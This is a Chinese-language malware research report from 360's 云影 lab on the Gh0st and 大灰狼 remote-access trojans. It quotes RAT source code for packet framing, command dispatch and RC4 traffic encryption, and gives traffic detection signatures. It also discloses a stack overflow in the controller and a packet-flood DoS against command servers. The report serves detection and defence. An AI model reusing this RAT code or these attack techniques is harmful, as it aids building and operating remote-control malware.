本报告由360云影实验室编写发布,主要分析Gh0st/大灰狼远控木马的通讯协议和其源代码中关于通讯协议实现的细节,以及对Gh0st/大灰狼通讯实现从自身安全性,实现的合理性上给出评价,举例相关的不足,破绽和漏洞,力图在远控木马攻防的实践上提供一些参考方向,以更好的防御与反击使用远控木马的黑客。
因Gh0st和大灰狼两个家族有相当多的重用的代码部分,所以本文将其放在一起对比分析。本文内容涉及其私有协议的数据结构解析,通讯模式和命令,流量检测点和控制端存在的漏洞以及可能存在被滥用的协议实现的缺陷几个部分。相关引用链接可在文末的References中找到。
Gh0st是一种在互联网上被广泛传播的远控木马家族,因为其源代码开放,所以有各种五花八门的变种和改进版本,大灰狼是其中影响力较大的一个变种家族。
Gh0st/大灰狼都由控制端和被控端两部分组成,通常是由黑客在CC主机上运行控制端,并监听一个通讯端口,然后释放出被控端程序,再将被控端程序通过各种手段植入到中招的“肉鸡”上运行,肉鸡主动请求控制端的监听端口建立连接上线:
Gh0st的变种主要可在其通讯协议头部的Magic number中被识别,根据AVG旗下的Norman Safeground在2012年发布的一篇报告 The many faces of Gh0st Rat 中可以获知一些关于Gh0st变种的信息,当时捕获的样本主要包含如下Magic:
7hero, Adobe, B1X6Z, BEiLa, BeiJi, ByShe, FKJP3, FLYNN, FWAPR, FWKJG, GWRAT, Gh0st, GOLDt, HEART, HTTPS, HXWAN, Heart, IM007, ITore, KOBBX,KrisR, LUCKK, LURK0, LYRAT, Level, Lover, Lyyyy, MYFYB, MoZhe, MyRat, OXXMM, PCRat, QWPOT, Spidern, Tyjhu, URATU, W0LFKO, Wangz, Winds, World
大灰狼是在Gh0st公开的源码基础上改进出的一个木马家族,对Gh0st的很多功能细节都进行了较大幅度的修改,再加上大灰狼也开放了自己的源代码导致大灰狼也演化成了包含各种变种的一个独立家族,因为大灰狼的主要影响范围在国内,而且其通讯协议在Gh0st基础上做了更多加密隐藏的工作,所以已有的针对大灰狼的技术分析文献相对较少,其变种的特征也不是很明显。大灰狼与Gh0st有非常相似的控制端界面:
由此可以直观感受到两个家族的相似性。
Gh0st的通讯完全遵循C/S模型,使用TCP承载的私有协议,这里用网上流传的最原始版本的 Gh0st 3.6的源码 为例。基本的通讯协议可以从控制端的通讯逻辑(gh0st3.6_src/gh0st/include/IOCPServer.cpp 的 CIOCPServer::Send
方法)和被控端的通讯逻辑(gh0st3.6_src/Server/svchost/ClientSocket.cpp 的 CClientSocket::Send
方法)中获知:
// Compress data unsigned long destLen = (double)nSize * 1.001 + 12; LPBYTE pDest = new BYTE[destLen]; int nRet = compress(pDest, &destLen, lpData, nSize); if (nRet != Z_OK) { delete [] pDest; return; } ////////////////////////////////////////////////////////////////////////// LONG nBufLen = destLen + HDR_SIZE; // 5 bytes packet flag pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 4 byte header [Size of Entire Packet] pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen)); // 4 byte header [Size of UnCompress Entire Packet] pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize)); // Write Data pContext->m_WriteBuffer.Write(pDest, destLen); delete [] pDest;
其中 compress
函数来自zlib,这是一个开源的数据压缩库,参数中的 lpData
和 nSize
分别是待发送的数据的指针和数据长度。这一段逻辑在控制端和被控端的实现中都是一样的,Gh0st的通讯包的结构就很明显了:
|------------|------------|-------------------|-----------------| |Magic Number|Total Length|Uncompressed Length|Compressed Data | |------------|------------|-------------------|-----------------| |5 Byte |4 Byte |4 Byte |Compressed length| |------------|------------|-------------------|-----------------|
双向的通讯都遵循这个包结构, Magic Number
在这个版本中被硬编码为 Gh0st
,随后的4个字节是整个通讯包的长度,小端的usigned int表示,这之后的4个字节是解压后的数据部分的长度,同样是小端数据,最后剩下的是压缩后的数据部分。因为包的头部都是明文传输的,所以为了规避流量检测很多变种都会修改Magic,常见的变种Magic有 F1X6B
和 FLYNN
等,大部分都还是5个字节的长度,但也有超出这个长度的,可能是出于代码修改的方便,我们看到的所有变种Magic长度都是5字节的整数倍。
抓包数据中可以很清晰看到这种结构。
数据体在解压后依然有固定的模式,具体细节在gh0st3.6_src/gh0st/MainFrm.cpp 的 CMainFrame::ProcessReceiveComplete
方法中有详细实现:
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_AUTH: // 要求验证 m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1); break; case TOKEN_HEARTBEAT: // 回复心跳包 { BYTE bToken = COMMAND_REPLAY_HEARTBEAT; m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); } break; case TOKEN_LOGIN: // 上线包 { if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount()) { closesocket(pContext->m_Socket); } else { pContext->m_bIsMainSocket = true; g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext); } BYTE bToken = COMMAND_ACTIVED; m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); } break; case TOKEN_DRIVE_LIST: // 驱动器列表 g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext); break; case TOKEN_BITMAPINFO: ......
这里是对解压后的数据的第一个字节做判断的逻辑,其中引用的宏大部分都在gh0st3.6_src/common/macros.h 里定义, bToken
为一个字节,从其中调用 Send
方法的部分可以发现相当多的通讯包数据体都只包含一个字节的命令:
// 控制端发出的命令 COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作 COMMAND_LIST_DRIVE, // 列出磁盘目录 COMMAND_LIST_FILES, // 列出目录中的文件 COMMAND_DOWN_FILES, // 下载文件 COMMAND_FILE_SIZE, // 上传时的文件大小 COMMAND_FILE_DATA, // 上传时的文件数据 COMMAND_EXCEPTION, // 传输发生异常,需要重新传输 COMMAND_CONTINUE, // 传输正常,请求继续发送数据 COMMAND_STOP, // 传输中止 COMMAND_DELETE_FILE, // 删除文件 COMMAND_DELETE_DIRECTORY, // 删除目录 ...... // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 TOKEN_HEARTBEAT, // 心跳包 TOKEN_LOGIN, // 上线包 TOKEN_DRIVE_LIST, // 驱动器列表 TOKEN_FILE_LIST, // 文件列表 TOKEN_FILE_SIZE, // 文件大小,传输文件时用 TOKEN_FILE_DATA, // 文件数据 TOKEN_TRANSFER_FINISH, // 传输完毕 TOKEN_DELETE_FINISH, // 删除完毕 ......
当然也有的命令后面是会带附加数据的,比如上线包,所以这里可以获知被压缩的数据体的结构:
|-------|--------------| |Command|Addtional Data| |-------|--------------| |1 Byte |Data Length | |-------|--------------|
在gh0st3.6_src/Server/svchost/common/login.h 中的 sendLoginInfo
函数中定义了上线包的发送逻辑,其中使用的上线包数据结构体如下:
typedef struct { BYTE bToken; // = 1 OSVERSIONINFOEX OsVerInfoEx; // 版本信息 int CPUClockMhz; // CPU主频 IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构 char HostName[50]; // 主机名 bool bIsWebCam; // 是否有摄像头 DWORD dwSpeed; // 网速 }LOGININFO;
上线包的结构在不同的变种中会有不同,比如某一个Gh0st变种的上线结构体就是这个样子的:
typedef struct { BYTE bToken; // = 1 OSVERSIONINFOEX OsVerInfoEx; // 版本信息 DWORD dwNumberOfCPU; // CPU个数 int CPUClockMhz; // CPU主频 DWORD DriverSize; // 硬盘大小 DWORD MemSize; // 内存大小 IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构 char HostName[50]; // 主机名 bool bIsWebCam; // 是否有摄像头 DWORD dwSpeed; // 网速 char Ver[15]; // 版本 char LogonDNS[60]; //上线信息 BOOL bIs64; // 32位or 64位 1为64 0为32 char UpGroup[50]; // 上线分组 char szVersion[32]; // 上线版本 }LOGININFO;
变种通常会有两种改进路径,一种是增强对HIPS/杀软和IDS/安全网关设备的检测对抗能力,另一种就是增强RAT的功能,后者的改进可以从这种数据结构的变化中看出来。所有的功能实现都是采用的控制端下命令 -> 被控端相应的模式,这种模式可以从gh0st3.6_src/gh0st/gh0stView.cpp 里面的回调方法看出。这里我大概梳理一下文件管理功能的通讯交互过程,由此可对Gh0st的通讯机制起到一个管中窥豹的作用:
首先控制端触发MFC的回调 CGh0stView::OnFilemanager
,调用 CGh0stView::SendSelectCommand
向被控端发送 COMMAND_LIST_DRIVE
命令:
void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize) { // TODO: Add your command handler code here POSITION pos = m_pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl while(pos) //so long as we have a valid POSITION, we keep iterating { int nItem = m_pListCtrl->GetNextSelectedItem(pos); ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem); m_iocpServer->Send(pContext, pData, nSize); //Save the pointer to the new item in our CList } //EO while(pos) -- at this point we have deleted the moving items and stored them in memoryt } void CGh0stView::OnFilemanager() { // TODO: Add your command handler code here BYTE bToken = COMMAND_LIST_DRIVE; SendSelectCommand(&bToken, sizeof(BYTE)); }
发包方法所在的 m_iocpServer
就是在各大“黑客论坛”上被称为“Gh0st内核”的 CIOCPServer
的实例,属于Gh0st中比较核心的实现,依赖于据说是“Windows系统中最复杂的内核对象”的IOCP,大部分的变种都不会修改这个“内核”,甚至包括大灰狼也几乎原封不动地沿用了Gh0st的这个“内核”,这也算各个变种中相对稳定的部分。
随后 CIOCPServer
的 Send
完成上文所说的封包步骤,将固定结构的命令包发送到被控端。被控端的逻辑主要涉及两个比较重要的类: CManager
和 ClientSocket
, ClientSocket
很明显是用于处理被控端的网络通讯服务的,而且其中有一个 CManager
指针类型的成员变量 m_pManager
。Gh0st的各个功能模块各依靠一个 CManager
的派生子类实现,比如有负责文件功能的 CFileManager
,负责键盘记录的 CKeyboardManager
,负责音频监控的 CAudioManager
等等如此。而 ClientSocket
提供了一个 CClientSocket::setManagerCallBack
方法用来将特定的 CManager
派生实例绑定到 ClientSocket
的实例上,这一步在被控端的入口函数可以看到(gh0st3.6_src/Server/svchost/svchost.cpp 的153行到156行):
DWORD dwExitCode = SOCKET_ERROR; sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); socketClient.setManagerCallBack(&manager);
其中涉及到的 CKernelManager
是一个负责分发到各个具体功能模块的总模块。 ClientSocket
实例在运行的时候会有一个IO复用的工作线程(gh0st3.6_src/Server/svchost/ClientSocket.cpp 的 CClientSocket::WorkThread
方法),当控制端的命令包到达时这个工作线程会调用 OnRead
方法: OnRead
在解包获取解压后的命令和数据后会调用绑定到 ClientSocket
实例上的 CManager
派生实例的 OnReceive
方法(gh0st3.6_src/Server/svchost/ClientSocket.cpp 的344行):
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
接下来 CKernelManager::OnReceive
会根据数据包携带的命令来进入对应的逻辑:
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_ACTIVED: InterlockedExchange((LONG *)&m_bIsActived, true); break; case COMMAND_LIST_DRIVE: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_WEBCAM: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; ......
其中调用的 Loop_FileManager
函数会实例化一个 CFileManager
,在 CFileManager
的构造函数里面会发送对 COMMAND_LIST_DRIVE
命令的回应:
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient) { m_nTransferMode = TRANSFER_MODE_NORMAL; SendDriveList(); }
可以在gh0st3.6_src/Server/svchost/common/FileManager.cpp 的247行到294行看到这个过程,被控端发送了 TOKEN_DRIVE_LIST
响应回控制端:
UINT CFileManager::SendDriveList() { char DriveString[256]; BYTE DriveList[1024]; char FileSystem[MAX_PATH]; char *pDrive = NULL; DriveList[0] = TOKEN_DRIVE_LIST; // 响应 ...... return Send((LPBYTE)DriveList, dwOffset); // 发送响应 }
就此一个完整的命令与响应过程就完成了。由此我们获知了Gh0st在通讯实现上的通用数据结构,命令范围,以及传输模式。
上文说大灰狼几乎原封不动地沿用了Gh0st的 CIOCPServer
,其实从业务逻辑而言这样说并不严谨, CIOCPServer
主要是实现了对IOCP接口的封装,这部分的确是没有什么变化,但是对包的发送与接收逻辑大灰狼做了一些改进,具体改进的动机会在文章后续部分给出分析。这一部分的源码使用网上流传甚广的大灰狼8.02版本作为例子,首先可以diff一下大灰狼的 CIOCPServer
的实现和之前我们参考的Gh0st 3.6版本的 CIOCPServer
的实现 (左边是Gh0st,右边是大灰狼):
首先就可以看到 HDR_SIZE
由13变成了17,也就是说包的格式里面增加了一段4字节的固定结构,然后还增加了压缩和不压缩的两种可选模式。
接下来我们来到大灰狼的 CIOCPServer::Send
:
void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize, BOOL Comp) { if (pContext == NULL) return; try { // pContext->m_hWriteComplete = CreateEvent(NULL, TRUE, FALSE, NULL); // if (nSize > 0) { // Compress data unsigned long destLen = (unsigned long)((double)nSize * 1.001 + 12); //计算压缩后数据的大小 LPBYTE pDest = new BYTE[destLen]; BOOL nComp; if(Comp == TRUE) //发送数据需要压缩 { //分配压缩数据的空间 nComp = SEREN_HAVE; //压缩数据 int nRet = compress(pDest, &destLen, lpData, nSize); //压缩数据 if (nRet != Z_OK) { delete [] pDest; return; } } else //发送数据不需要压缩 { nComp = SEREN_NOT; //无压缩数据 destLen = nSize; MoveMemory(pDest,lpData, nSize); } ////////////////////////////////////////////////////////////////////////// LONG nBufLen = destLen + HDR_SIZE; //数据中加入数据头标识大小 pContext->m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); //写入数据头 pContext->m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen)); //写入当前数据总大小 pContext->m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize)); //写入压缩前的数据大小 // Write Data pContext->m_WriteBuffer.Write(pDest, destLen); //写入数据 pContext->m_WriteBuffer.Write((PBYTE) &nComp, sizeof(BOOL)); //写入数据是否压缩标志 delete [] pDest; ...... } else // 要求重发 { ..... } // Wait for Data Ready signal to become available WaitForSingleObject(pContext->m_hWriteComplete, INFINITE); //等待子线程结束 OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite); PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol); // pContext->m_nMsgOut++; }catch(...){} }
从这段代码中基本可以获知大灰狼通讯包数据结构相对Gh0st的变化,其中的 m_bPacketFlag
依然是5个字节,硬编码为 KuGou
(酷狗躺枪十分钟。。。):
CIOCPServer::CIOCPServer() { ...... // Packet Flag; BYTE bPacketFlag[] = {'K', 'u', 'G', 'o', 'u'}; memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag)); }
其次增加了对是否压缩的判断,而这个是否压缩的标志被写入到了最终的数据包的尾部,对照Gh0st的对应部分的实现可以推知大灰狼数据包的结构:
|------------|------------|-------------------|-----------------|---------------| |Magic Number|Total Length|Uncompressed Length|Compressed Data |Compress or not| |------------|------------|-------------------|-----------------|---------------| |5 Byte |4 Byte |4 Byte |Compressed length|4 Byte | |------------|------------|-------------------|-----------------|---------------|
从头到尾依次是Magic,全包长度,解压后的数据长度,压缩数据(也可能没有压缩),是否压缩的标志位,当这个标志位取值为7171的时候表示数据部分是没有压缩的,取值为8585的时候表示数据部分是压缩过的。这里很明显是为了提高程序的运行性能提供了一种无压缩的数据传输方法,而且将是否压缩的标志位放在包的尾部也是相当取巧的做法,因为原始的四个段的偏移都没有改变,这样可以最大限度的复用Gh0st的源码,而且后期临时摘除这个功能也非常容易。
但是当检查抓包数据的时候会发现这种结构并没有在流量中体现出来:
这个原因就涉及到这个对IOCP接口封装的“Gh0st内核”的实现细节了。上面的 CIOCPServer::Send
方法的源码中并没有出现直接调用socket的行为,而是在结尾使用了 PostQueuedCompletionStatus
函数,这是IOCP的一个API。IOCP本质上是一种操作系统内核调度的线程池模型,当然只是调度部分在操作系统内核中实现,线程池中的线程都还是在用户空间,这个 PostQueuedCompletionStatus
函数的作用就是把IO请求提交给一个IOCP对象,说直白点就是把IO请求放入线程池的队列,IOCP会将这个队列中的IO请求调度给合适的工作线程去处理。工作线程的逻辑可以在 CIOCPServer::ThreadPoolFunc
方法中看到:
unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext) { ...... for (BOOL bStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; ) { pOverlapPlus = NULL; lpClientContext = NULL; bError = false; bEnterRead = false; // Thread is Block waiting for IO completion InterlockedDecrement(&pThis->m_nBusyThreads); // Get a completed IO request. BOOL bIORet = GetQueuedCompletionStatus( // 获取IO请求 hCompletionPort, &dwIoSize, (LPDWORD) &lpClientContext, &lpOverlapped, INFINITE); DWORD dwIOError = GetLastError(); pOverlapPlus = CONTAINING_RECORD(lpOverlapped, OVERLAPPEDPLUS, m_ol); int nBusyThreads = InterlockedIncrement(&pThis->m_nBusyThreads); if (!bIORet && dwIOError != WAIT_TIMEOUT ) { ...... } ...... if (!bError) { if(bIORet && NULL != pOverlapPlus && NULL != lpClientContext) { try { // 分发IO逻辑 pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize); } catch (...) {} } } if(pOverlapPlus) delete pOverlapPlus; // from previous call } ...... }
其中调用的 GetQueuedCompletionStatus
同样也是IOCP的一个API,作用是从IOCP对象获取IO请求,最后通过 ProcessIOMessage
分发处理逻辑:
#define BEGIN_IO_MSG_MAP() / public: / bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0) / { / bool bRet = false; #define IO_MESSAGE_HANDLER(msg, func) / if (msg == clientIO) / bRet = func(pContext, dwSize); #define END_IO_MSG_MAP() / return bRet; / } #endif
然后在 大灰狼8.02插件版源码/DHL_yk/include/IOCPServer.h 可以看到具体的分发情况:
BEGIN_IO_MSG_MAP() IO_MESSAGE_HANDLER(IORead, OnClientReading) IO_MESSAGE_HANDLER(IOWrite, OnClientWriting) IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing) END_IO_MSG_MAP()
其中 IO_MESSAGE_HANDLER
的第一个参数来自 CIOCPServer::Send
方法:
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite); // 第一个参数来自这里 PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
于是实际上 CIOCPServer::Send
方法中封装的数据包会交给 CIOCPServer::OnClientWriting
方法处理:
bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize) { try { static DWORD nLastTick = GetTickCount(); static DWORD nBytes = 0; nBytes += dwIoSize; ...... ULONG ulFlags = MSG_PARTIAL; // Finished writing - tidy up pContext->m_WriteBuffer.Delete(dwIoSize); if (pContext->m_WriteBuffer.GetBufferLen() == 0) { ...... } else { OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite); m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); pContext->m_wsaOutBuffer.buf = (char*) pContext->m_WriteBuffer.GetBuffer(); pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen(); unsigned char Sbox[256] = {0};//S-box memcpy( Sbox, m_strkey,sizeof(m_strkey)); rc4_crypt(Sbox,(unsigned char *)pContext->m_wsaOutBuffer.buf,pContext->m_wsaOutBuffer.len); // RC4加密 int nRetVal = WSASend(pContext->m_Socket, &pContext->m_wsaOutBuffer, 1, &pContext->m_wsaOutBuffer.len, ulFlags, &pOverlap->m_ol, NULL); if ( nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) { RemoveStaleClient( pContext, FALSE ); } } }catch(...){} return false; // issue new read after this one }
其中调用了 rc4_crypt
对即将发送的包进行了加密处理。而RC4的密钥就是大灰狼控制端配置的通讯密码
由此可知大灰狼的通讯过程实际上传输的是RC4加密后的固定结构数据,这个加密密钥可以由使用者自行配置。大灰狼对Gh0st的IOCP封装模块的修改上可以看出大灰狼改进Gh0st的方向和意图,虽然Gh0st原有的通讯包数据结构和通讯模式上没有太多大的变化,但这以及让大灰狼在流量上的表现不同于其他的Gh0st变种。
上文说道Gh0st的包特征有一个特定的结构,而且还有一个醒目的明文Magic,所以很多现存的检测方案都是针对这个Magic来做的,但实际上Gh0st的众多变种都会使用不同的Magic,所以其实针对Magic来做检测并不是那么靠谱。
Gh0st包的头部5字节偏移处是全包长度,如果检测当前tcp payload的长度是否与这个部分吻合是否可行呢?答案是并不绝对可行,这里涉及到Gh0st被控端的一个实现细节(gh0st3.6_src/Server/svchost/ClientSocket.cpp的 CClientSocket::Send
方法):
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
Gh0st采取了分块发送数据的方式,这个 MAX_SEND_BUFFER
在我们手里的这个版本中的定义为(gh0st3.6_src/common/macros.h):
#define MAX_SEND_BUFFER 1024 * 8 // 最大发送数据长度 #define MAX_RECV_BUFFER 1024 * 8 // 最大接收数据长度
这个值是可以在编译时修改的,也就是说实际上传输的包长度不一定吻合头部偏移5字节处的值。
那么还有什么相对更稳定的特征呢?这里还真有一个,压缩数据使用的是zlib,zlib本身会对压缩后的数据添加一个头部这个头部具体的含义可以参考 IETF的文档 ,在Gh0st里面这个头部恒定为 0x78 0x9c
也就是说Gh0st包的结构可以这样解析:
|------------|------------|-------------------|-----------|--------------| |Magic Number|Total Length|Uncompressed Length|Zlib Header|Raw Data | |------------|------------|-------------------|-----------|--------------| |5 Byte |4 Byte |4 Byte |2 Byte |Data length -2| |------------|------------|-------------------|-----------|--------------|
在头部偏移为13字节的地方会有两个字节恒定为 0x78 0x9c
,由此可以作为流量检测的一个相对可靠的特征点。
因为Gh0st的流量特征还是很明显的,所以大灰狼RC4加密的做法的直接动机很可能就是对抗流量检测,在不同密钥的配置下原有的所有特征点都会有不同的表现。所以这里也没法给出一个通杀的检测特征,最终落地的检测方案还要靠各家厂商各自的独门绝技了~
曾经在Gh0st3.6以前的版本上爆出过两个威胁控制端自身安全的漏洞,参考多年以前的一篇 博文 ,一个远程堆溢出漏洞和一个逻辑漏洞。这两个漏洞曾经导致过大量的网上存活的Gh0st CC主机被反杀。在2017年的BlackHat大会上也有一个议题提及到了这个曾经的逻辑漏洞,同时还披露了另一个DLL side load漏洞,具体内容可以参考 BlackHat官网的PPT 。
除此之外我们在分析Gh0st和大灰狼的源码时还发现了另一个可以导致远程DoS的栈溢出漏洞,这个栈溢出的缺陷点存在于之前提到的大部分变种都不会修改的“Gh0st内核”中,根据我们取样分析结论是这个缺陷点在几乎所有的Gh0st和大灰狼的变种版本中都存在:
// 在 CIOCPServer::OnAccept 方法中存如下的缺陷代码: const char chOpt = 1; // 缺陷点 if (setsockopt(pContext->m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) != 0) { TRACE(_T("setsockopt() error/n"), WSAGetLastError()); } ...... tcp_keepalive klive; klive.onoff = 1; klive.keepalivetime = m_nKeepLiveTime; klive.keepaliveinterval = 1000 * 10; WSAIoctl ( pContext->m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(tcp_keepalive), NULL, 0, (unsigned long *)&chOpt, // 溢出点 0, NULL ); CLock cs(m_cs, "OnAccept" ); // Hold a reference to the context m_listContexts.AddTail(pContext);
CIOCPServer::OnAccept
方法调用了 WSAIoctl
函数,第七个参数可以从原型中看到是一个 LPDWORD
类型的指针,但实际传入的是一个空间只有一字节的 char
类型的指针:
int WSAAPI WSAIoctl( _In_ SOCKET s, _In_ DWORD dwIoControlCode, _In_reads_bytes_opt_(cbInBuffer) LPVOID lpvInBuffer, _In_ DWORD cbInBuffer, _Out_writes_bytes_to_opt_(cbOutBuffer, *lpcbBytesReturned) LPVOID lpvOutBuffer, _In_ DWORD cbOutBuffer, _Out_ LPDWORD lpcbBytesReturned, _Inout_opt_ LPWSAOVERLAPPED lpOverlapped, _In_opt_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine );
由此造成栈上 chOpt
变量的溢出。因为不同变种版本的触发条件不一样,无法通杀,在此就不贴POC了。感兴趣的看官自行深入吧。
Gh0st的协议从实现上来看存在以下的一些问题:
明文数据头,容易被检测
有固定的Magic Number,容易暴露版本信息
对一些协议规范外的请求也会给予响应,增大了CC暴露的概率
缺少有效的包校验手段
没有合理的会话管理机制
大灰狼通过在原有的Gh0st通讯逻辑外增加了RC4加密,把一些被检测和暴露的危险性降低了很多,但依然没有包校验和会话管理。
包校验和会话管理的缺失可能导致一些有意思的情况发生,比如当一个主机向控制端的CC发送数据包的时候控制端并不会检查这个发送数据包的主机是否是之前已经发送过上线包的主机,从而使得任意的主机都可以跳过上线的逻辑直接触发一些后续的通讯逻辑。
举个实际的例子,恶意请求导致控制端无限弹窗:
不间断向CC端发送包含 TOKEN_PSLIST
命令的大灰狼通讯包,可导致控制端不断弹出“远程终端”窗口,大量消耗CC主机的CPU资源,实测可以轻松达到让控制端程序完全假死的效果。这种方法可以用来向被暴露的CC主机发起DoS攻击,当然可以使用更消耗资源的命令,比如 TOKEN_DRIVE_LIST
:
其实Gh0st/大灰狼作为一般的软件工程产品本身就不免有一些设计和实现上的缺陷,加上开源导致的变种盛行,使得各种修改版本的软件质量更是良莠不齐。导致这个结果的原因一方面是恶意软件供应者自身的编程水平的参差,另一方面也是作为攻击方的黑客缺乏对自身安全的防范意识。
Gh0st和大灰狼作为目前远控木马的主要流行家族对整个远控类恶意程序具有一定的代表性。由于大部分的反病毒攻防的重点都在于主机上的查杀与免杀技术,所以我们这次将关注点放在了流量检测与通讯协议上面。从通讯协议设计的优缺点,检测特征的角度出发,还是有很多有价值的信息可以被发掘,对于流量层面的攻防实践应该能起到一些参考导向的作用。
https://github.com/iGh0st/gh0st3.6_src
https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf
https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Professor-Plum-Digital%20Vengeance-Exploiting-Notorious-Toolkits.pdf
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf
https://www.bro.org/brocon2017/slides/c2_parsing.pdf
https://tools.ietf.org/html/rfc1950
http://www.dklkt.cn/article.asp?id=218
*本文作者:ManchurianClassmate@360云影实验室,转载请注明来自 FreeBuf.COM